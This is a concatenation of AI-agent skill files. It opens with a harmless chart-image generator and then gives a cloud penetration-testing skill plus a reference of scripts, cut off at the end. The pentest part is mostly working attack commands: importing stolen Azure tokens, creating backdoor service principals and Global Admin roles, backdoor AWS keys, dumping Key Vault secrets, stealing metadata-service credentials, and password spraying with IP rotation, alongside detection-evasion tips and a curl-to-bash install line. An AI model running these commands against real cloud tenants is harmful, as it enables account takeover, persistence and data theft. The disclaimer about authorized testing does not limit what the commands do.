Formatting\n\n```bash\n--y-format dollar    # → $1,234.56\n--y-format percent   # → 45.2%\n--y-format compact   # → 1.2K, 3.4M\n--y-format decimal4  # → 0.0004\n--y-format integer   # → 1,234\n```\n\nOr pass any [d3-format](https://github.com/d3/d3-format) string: `--y-format ',.3f'`\n\n---\n\n## Designed for Fly.io / VPS / Docker\n\nThis skill was built specifically for headless server environments where you can't (or don't want to) install a browser:\n\n- **Fly.io** — Works out of the box on `flyctl deploy`. No special Dockerfile needed.\n- **Docker** — No `apt-get install` for Cairo/Pango/etc. Just `npm install`.\n- **VPS** — Runs on any machine with Node.js 18+. No GPU, no display server.\n- **CI/CD** — Generate charts in GitHub Actions, GitLab CI, etc.\n\nThe secret: [Vega-Lite](https://vega.github.io/vega-lite/) renders to SVG natively, then [Sharp](https://sharp.pixelplumbing.com/) (with prebuilt libvips binaries) converts to PNG. No browser in the loop.\n\n---\n\n## License\n\nMIT\n\n---\n\n<p align=\"center\">\n  <sub>Built by <a href=\"https://clawhub.ai/u/Cluka-399\">@Cluka-399</a> · Published on <a href=\"https://clawhub.ai\">ClawHub</a> · <a href=\"https://github.com/Cluka-399/chart-image\">GitHub</a></sub>\n</p>\n","skills/chart-image/SKILL.md":"---\nname: chart-image\nversion: 2.5.1\ndescription: \"Generate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts. Triggers when the user asks to visualize data, create a graph, plot a time series, or generate a chart for a report, alert, or dashboard. Runs as a lightweight, headless Node.js process without a browser.\"\n---\n\n# Chart Image Generator\n\nGenerate PNG chart images from data using Vega-Lite. Perfect for headless server environments.\n\n## Why This Skill?\n\n**Built for Fly.io / VPS / Docker deployments:**\n- ✅ **No native compilation** - Uses Sharp with prebuilt binaries (unlike `canvas` which requires build tools)\n- ✅ **No Puppeteer/browser** - Pure Node.js, no Chrome download, no headless browser overhead\n- ✅ **Lightweight** - ~15MB total dependencies vs 400MB+ for Puppeteer-based solutions\n- ✅ **Fast cold starts** - No browser spinup delay, generates charts in <500ms\n- ✅ **Works offline** - No external API calls (unlike QuickChart.io)\n\n## Setup (one-time)\n\n```bash\ncd \"${CLAUDE_SKILL_DIR}/scripts\" && npm install\n```\n\n## Quick Usage\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" \\\n  --type line \\\n  --data '[{\"x\":\"10:00\",\"y\":25},{\"x\":\"10:30\",\"y\":27},{\"x\":\"11:00\",\"y\":31}]' \\\n  --title \"Price Over Time\" \\\n  --output chart.png\n```\n\nThe examples below shorten the script path to `chart.mjs`.\n\n## Chart Types\n\n### Line Chart (default)\n```bash\nnode chart.mjs --type line --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output line.png\n```\n\n### Bar Chart\n```bash\nnode chart.mjs --type bar --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output bar.png\n```\n\n### Area Chart\n```bash\nnode chart.mjs --type area --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output area.png\n```\n\n### Pie / Donut Chart\n```bash\n# Pie\nnode chart.mjs --type pie --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output pie.png\n\n# Donut (with hole)\nnode chart.mjs --type donut --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output donut.png\n```\n\n### Candlestick Chart (OHLC)\n```bash\nnode chart.mjs --type candlestick \\\n  --data '[{\"x\":\"Mon\",\"open\":100,\"high\":110,\"low\":95,\"close\":105}]' \\\n  --open-field open --high-field high --low-field low --close-field close \\\n  --title \"Stock Price\" --output candle.png\n```\n\n### Heatmap\n```bash\nnode chart.mjs --type heatmap \\\n  --data '[{\"x\":\"Mon\",\"y\":\"Week1\",\"value\":5},{\"x\":\"Tue\",\"y\":\"Week1\",\"value\":8}]' \\\n  --color-value-field value --color-scheme viridis \\\n  --title \"Activity Heatmap\" --output heatmap.png\n```\n\n### Multi-Series Line Chart\nCompare multiple trends on one chart:\n```bash\nnode chart.mjs --type line --series-field \"market\" \\\n  --data '[{\"x\":\"Jan\",\"y\":10,\"market\":\"A\"},{\"x\":\"Jan\",\"y\":15,\"market\":\"B\"}]' \\\n  --title \"Comparison\" --output multi.png\n```\n\n### Stacked Bar Chart\n```bash\nnode chart.mjs --type bar --stacked --color-field \"category\" \\\n  --data '[{\"x\":\"Mon\",\"y\":10,\"category\":\"Work\"},{\"x\":\"Mon\",\"y\":5,\"category\":\"Personal\"}]' \\\n  --title \"Hours by Category\" --output stacked.png\n```\n\n### Volume Overlay (Dual Y-axis)\nPrice line with volume bars:\n```bash\nnode chart.mjs --type line --volume-field volume \\\n  --data '[{\"x\":\"10:00\",\"y\":100,\"volume\":5000},{\"x\":\"11:00\",\"y\":105,\"volume\":3000}]' \\\n  --title \"Price + Volume\" --output volume.png\n```\n\n### Sparkline (mini inline chart)\n```bash\nnode chart.mjs --sparkline --data '[{\"x\":\"1\",\"y\":10},{\"x\":\"2\",\"y\":15}]' --output spark.png\n```\nSparklines are 80x20 by default, transparent, no axes.\n\n## Options Reference\n\n### Basic Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | Chart type: line, bar, area, point, pie, donut, candlestick, heatmap | line |\n| `--data` | JSON array of data points | - |\n| `--output` | Output file path | chart.png |\n| `--title` | Chart title | - |\n| `--width` | Width in pixels | 600 |\n| `--height` | Height in pixels | 300 |\n\n### Axis Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | Field name for X axis | x |\n| `--y-field` | Field name for Y axis | y |\n| `--x-title` | X axis label | field name |\n| `--y-title` | Y axis label | field name |\n| `--x-type` | X axis type: ordinal, temporal, quantitative | ordinal |\n| `--y-domain` | Y scale as \"min,max\" | auto |\n\n### Visual Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Line/bar color | #e63946 |\n| `--dark` | Dark mode theme | false |\n| `--svg` | Output SVG instead of PNG | false |\n| `--color-scheme` | Vega color scheme (category10, viridis, etc.) | - |\n\n### Alert/Monitor Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--show-change` | Show +/-% change annotation at last point | false |\n| `--focus-change` | Zoom Y-axis to 2x data range | false |\n| `--focus-recent N` | Show only last N data points | all |\n| `--show-values` | Label min/max peak points | false |\n\n### Multi-Series/Stacked Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--series-field` | Field for multi-series line charts | - |\n| `--stacked` | Enable stacked bar mode | false |\n| `--color-field` | Field for stack/color categories | - |\n\n### Candlestick Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--open-field` | OHLC open field | open |\n| `--high-field` | OHLC high field | high |\n| `--low-field` | OHLC low field | low |\n| `--close-field` | OHLC close field | close |\n\n### Pie/Donut Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--category-field` | Field for pie slice categories | x |\n| `--donut` | Render as donut (with center hole) | false |\n\n### Heatmap Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color-value-field` | Field for heatmap intensity | value |\n| `--y-category-field` | Y axis category field | y |\n\n### Dual-Axis Options (General)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y2-field` | Second Y axis field (independent right axis) | - |\n| `--y2-title` | Title for second Y axis | field name |\n| `--y2-color` | Color for second series | #60a5fa (dark) / #2563eb (light) |\n| `--y2-type` | Chart type for second axis: line, bar, area | line |\n\n**Example:** Revenue bars (left) + Churn area (right):\n```bash\nnode chart.mjs \\\n  --data '[{\"month\":\"Jan\",\"revenue\":12000,\"churn\":4.2},...]' \\\n  --x-field month --y-field revenue --type bar \\\n  --y2-field churn --y2-type area --y2-color \"#60a5fa\" \\\n  --y-title \"Revenue ($)\" --y2-title \"Churn (%)\" \\\n  --x-sort none --dark --title \"Revenue vs Churn\"\n```\n\n### Volume Overlay Options (Candlestick)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--volume-field` | Field for volume bars (enables dual-axis) | - |\n| `--volume-color` | Color for volume bars | #4a5568 |\n\n### Formatting Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y-format` | Y axis format: percent, dollar, compact, decimal4, integer, scientific, or d3-format string | auto |\n| `--subtitle` | Subtitle text below chart title | - |\n| `--hline` | Horizontal reference line: \"value\" or \"value,color\" or \"value,color,label\" (repeatable) | - |\n\n### Annotation Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--annotation` | Static text annotation | - |\n| `--annotations` | JSON array of event markers | - |\n\n## Alert-Style Chart (recommended for monitors)\n\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\nFor recent action only:\n```bash\nnode chart.mjs --type line --data '[hourly data...]' \\\n  --focus-recent 4 --show-change --focus-change --dark \\\n  --output recent.png\n```\n\n## Timeline Annotations\n\nMark events on the chart:\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --annotations '[{\"x\":\"14:00\",\"label\":\"News broke\"},{\"x\":\"16:30\",\"label\":\"Press conf\"}]' \\\n  --output annotated.png\n```\n\n## Temporal X-Axis\n\nFor proper time series with date gaps:\n```bash\nnode chart.mjs --type line --x-type temporal \\\n  --data '[{\"x\":\"2026-01-01\",\"y\":10},{\"x\":\"2026-01-15\",\"y\":20}]' \\\n  --output temporal.png\n```\n\nUse `--x-type temporal` when X values are ISO dates and you want spacing to reflect actual time gaps (not evenly spaced).\n\n## Y-Axis Formatting\n\nFormat axis values for readability:\n```bash\n# Dollar amounts\nnode chart.mjs --data '[...]' --y-format dollar --output revenue.png\n# → $1,234.56\n\n# Percentages (values as decimals 0-1)\nnode chart.mjs --data '[...]' --y-format percent --output rates.png\n# → 45.2%\n\n# Compact large numbers\nnode chart.mjs --data '[...]' --y-format compact --output users.png\n# → 1.2K, 3.4M\n\n# Crypto prices (4 decimal places)\nnode chart.mjs --data '[...]' --y-format decimal4 --output molt.png\n# → 0.0004\n\n# Custom d3-format string\nnode chart.mjs --data '[...]' --y-format ',.3f' --output custom.png\n```\n\nAvailable shortcuts: `percent`, `dollar`/`usd`, `compact`, `integer`, `decimal2`, `decimal4`, `scientific`\n\n## Chart Subtitle\n\nAdd context below the title:\n```bash\nnode chart.mjs --title \"MOLT Price\" --subtitle \"20,668 MOLT held\" --data '[...]' --output molt.png\n```\n\n## Theme Selection\n\nUse `--dark` for dark mode. Auto-select based on time:\n- **Night (20:00-07:00 local)**: `--dark`\n- **Day (07:00-20:00 local)**: light mode (default)\n\n## Piping Data\n\n```bash\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node chart.mjs --output out.png\n```\n\n## Custom Vega-Lite Spec\n\nFor advanced charts:\n```bash\nnode chart.mjs --spec my-spec.json --output custom.png\n```\n\n## Deliver the Image\n\nAfter generating a chart, save the PNG in the user's project (not `/tmp/`, which may get cleaned) and tell the user the file path.\nDon't just describe the chart — the whole point is the visual.\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" --type line --data '...' --output ./my-chart.png\n```\n\n**Tips:**\n- Include a brief caption saying what the chart shows\n- Use `--dark` at night or for dark-themed destinations (see Theme Selection)\n\n---\n*Updated: 2026-02-04 - Added --y-format (percent/dollar/compact/decimal4) and --subtitle*\n","skills/chart-image/scripts/package.json":"{\n  \"name\": \"chart-image-scripts\",\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"vega\": \"^5.30.0\",\n    \"vega-lite\": \"^5.21.0\",\n    \"sharp\": \"^0.33.0\"\n  }\n}\n","skills/cloud-penetration-testing/SKILL.md":"---\nname: cloud-penetration-testing\ndescription: This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo ./aws/install\n\n# GCP CLI\ncurl https://sdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name <vault> --upn <user> --secret-permissions get list\naz keyvault secret list --vault-name <vault> --query '[].id' --output tsv\naz keyvault secret show --id <URI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name <name> --password <pass> --user-principal-name <upn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3://bucket-name/\naws s3 sync s3://bucket-name ./local-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name <name>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids <sg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name <name> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http://169.254.169.254/latest/meta-data/profile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name <username>\n\n# Create backdoor access key\naws iam create-access-key --user-name <username>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy <org-id>\ngcloud projects get-iam-policy <project-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone <repo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs://bucket-name\ngsutil cp gs://bucket/file ./local\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance <id>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials <cluster> --region <region>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe <name>\ngcloud functions logs read <name> --limit 100\n\n# Find stored credentials\nsudo find /home -name \"credentials.db\"\nsudo cp -r /home/user/.config/gcloud ~/.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name <name>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy <project>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http://169.254.169.254/latest/meta-data/` |\n| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |\n| GCP | `http://metadata.google.internal/computeMetadata/v1/` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail/Activity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3://$bucket 2>/dev/null\ndone < buckets.txt\n\n# Download interesting bucket\naws s3 sync s3://misconfigured-bucket ./loot/\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n","skills/cloud-penetration-testing/references/advanced-cloud-scripts.md":"# Advanced Cloud Pentesting Scripts\r\n\r\nReference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)\r\n\r\n## Azure Automation Runbooks\r\n\r\n### Export All Runbooks from All Subscriptions\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    mkdir .\\$subscriptionid\\\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $runbooks = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name\r\n    }\r\n    foreach($r in $runbooks){\r\n        Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\\$subscriptionid\\\r\n    }\r\n}\r\n```\r\n\r\n### Export All Automation Job Outputs\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$jobout = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $jobs = @()\r\n    $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName\r\n    foreach ($i in $autoaccounts){\r\n        $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId\r\n    }\r\n    foreach($r in $jobs){\r\n        $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId\r\n    }\r\n}\r\n$jobout | Out-File -Encoding ascii joboutputs.txt\r\n```\r\n\r\n## Azure Function Apps\r\n\r\n### List All Function App Hostnames\r\n\r\n```powershell\r\n$functionapps = Get-AzFunctionApp\r\nforeach($f in $functionapps){\r\n    $f.EnabledHostname\r\n}\r\n```\r\n\r\n### Extract Function App Information\r\n\r\n```powershell\r\n$subs = Get-AzSubscription\r\n$allfunctioninfo = @()\r\nForeach($s in $subs){\r\n    $subscriptionid = $s.SubscriptionId\r\n    Select-AzSubscription -Subscription $subscriptionid\r\n    $functionapps = Get-AzFunctionApp\r\n    foreach($f in $functionapps){\r\n        $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter\r\n        $allfunctioninfo += $f.SiteConfig | fl\r\n        $allfunctioninfo += $f.ApplicationSettings | fl\r\n        $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl\r\n    }\r\n}\r\n$allfunctioninfo\r\n```\r\n\r\n## Azure Device Code Login Flow\r\n\r\n### Initiate Device Code Login\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\" = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"resource\"  = \"https://graph.microsoft.com\"\r\n}\r\n$UserAgent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\"\r\n$Headers = @{}\r\n$Headers[\"User-Agent\"] = $UserAgent\r\n$authResponse = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$authResponse\r\n```\r\n\r\nNavigate to https://microsoft.com/devicelogin and enter the code.\r\n\r\n### Retrieve Access Tokens\r\n\r\n```powershell\r\n$body = @{\r\n    \"client_id\"  = \"1950a258-227b-4e31-a9cf-717495945fc2\"\r\n    \"grant_type\" = \"urn:ietf:params:oauth:grant-type:device_code\"\r\n    \"code\"       = $authResponse.device_code\r\n}\r\n$Tokens = Invoke-RestMethod `\r\n    -UseBasicParsing `\r\n    -Method Post `\r\n    -Uri \"https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0\" `\r\n    -Headers $Headers `\r\n    -Body $body\r\n$Tokens\r\n```\r\n\r\n## Azure Managed Identity Token Retrieval\r\n\r\n```powershell\r\n# From Azure VM\r\nInvoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n\r\n# Full instance metadata\r\n$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata=\"true\"} -UseBasicParsing\r\n$instance\r\n```\r\n\r\n## AWS Region Iteration 